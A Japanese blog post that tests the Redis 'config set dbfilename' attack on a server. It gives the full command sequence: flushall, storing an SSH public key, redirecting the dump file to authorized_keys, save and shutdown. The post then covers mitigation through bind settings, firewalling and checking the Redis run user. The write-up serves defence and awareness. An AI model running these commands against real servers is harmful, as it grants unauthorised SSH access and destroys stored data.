先日、redis ハックされた件を検証してみました。
どうやら “config set dbfilename” 機能を悪用することで、外部から任意の文字列を redis 起動ユーザの権限でファイル作成できてしまう(sshの公開鍵を配置できる)脆弱性のようです。
実際に試行してみたら、以下手順で ssh の公開鍵が配置できました。
・別サーバで秘密鍵と公開鍵を作成しておく
・乗っ取りたい redisサーバ に外部から接続する
・既に格納されているキーとバリューをいったん全消去(クリア)する
・適当なキーで ssh 公開鍵をセットする
・データ格納ファイルの書き出し場所を、SSH公開鍵を配置したい場所に変更する
・データ書き出しを命令する(バリューが出力され、ssh公開鍵となる)
・redis を shutdown する(気づいた運用者の redis 再起動で dbfilename は元に戻る)
コマンドで言えば、こんな感じ。
$ ssh-keygen -t rsa -C "crack@redis.io" $ redis-cli -h [ホスト名] flushall $ cat [公開鍵.txt] | redis-cli -h [ホスト名] -x set [キー名] $ redis-cli -h [ホスト名] 6379> config set dbfilename "~/.ssh/authorized_keys" 6379> save 6379> shutdown 6379> exit
すると、redis 起動ユーザのホームディレクトリの .ssh 配下に、公開鍵が配置されます。
$ ls -l -rw-r--r-- 1 root root 433 11月 22 23:39 2015 authorized_keys $ cat ~/.ssh/authorized_keys REDIS0006�crackitA� ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ crack@redis.io ���rD �
ああ、恐ろしい。
ただ、、この脅威は、redisがインターネットに公開されていなければ操作できないので問題になりません。
(redis.conf の bind 設定でローカルIPに制限している もしくは、iptables でポート解放していない)
もし私のように設定を忘れて公開となっており、crackit のキーがセットされたらどうするか?
まずは redisサーバプロセスを起動させているユーザを確認します。
redis ユーザならば、redis ユーザが外部からsshログインできなければ問題ありません。
$ sudo cat /etc/passwd | grep redis redis:x:501:501::/home/redis:/sbin/nologin
外部からログイン可能にしていた場合はどうするか?
redis 起動ユーザのホームディレクトリ配下にある .ssh/authorized_keys のキーを一刻も早く削除してください。
もし root で起動していたら、パス名さえあってれば配置できてしまうため sshアカウントの公開鍵を総点検した方が良いです。
間違っていたら、コメントくださいませ。